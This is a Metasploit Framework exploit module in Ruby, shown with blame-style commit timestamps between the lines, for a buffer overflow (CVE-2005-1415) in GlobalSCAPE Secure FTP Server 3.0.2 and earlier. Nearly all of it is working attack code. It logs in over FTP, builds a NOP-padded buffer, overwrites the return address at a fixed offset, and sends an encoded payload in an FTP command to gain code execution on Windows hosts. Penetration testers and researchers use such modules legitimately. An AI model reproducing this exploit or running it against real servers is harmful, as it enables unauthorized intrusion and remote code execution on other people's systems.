2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-24 17:41:32 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2005-11-24 17:41:32 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2005-11-24 17:41:32 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-11-24 17:41:32 +00:00
|
|
|
'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
|
2005-11-24 17:41:32 +00:00
|
|
|
All versions prior to 3.0.3 are affected by this flaw. A valid user account (
|
2010-04-30 08:40:19 +00:00
|
|
|
or anonymous access) is required for this exploit to work.
|
2005-11-24 17:41:32 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-11-24 17:41:32 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2005-1415'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '16049'],
|
|
|
|
[ 'BID', '13454'],
|
2005-11-24 17:41:32 +00:00
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
2010-09-20 08:06:27 +00:00
|
|
|
'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
|
2005-11-24 17:41:32 +00:00
|
|
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
|
|
|
},
|
2010-10-05 23:41:17 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-24 17:41:32 +00:00
|
|
|
[
|
|
|
|
[
|
|
|
|
'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
|
|
|
|
{
|
2005-11-24 19:04:37 +00:00
|
|
|
'Ret' => 0x1002f01f,
|
2005-11-24 17:41:32 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 1 2005',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2013-06-17 20:48:34 +00:00
|
|
|
c = connect_login
|
|
|
|
return if not c
|
2005-11-24 17:41:32 +00:00
|
|
|
|
|
|
|
buf = make_nops(3047)
|
2005-11-24 19:04:37 +00:00
|
|
|
buf[2043, 4] = [ target.ret ].pack('V')
|
2005-11-24 17:41:32 +00:00
|
|
|
buf[2047, payload.encoded.length] = payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 04:11:22 +00:00
|
|
|
send_cmd( [buf] )
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-24 17:41:32 +00:00
|
|
|
handler
|
2006-01-08 14:27:59 +00:00
|
|
|
disconnect
|
2005-11-24 17:41:32 +00:00
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|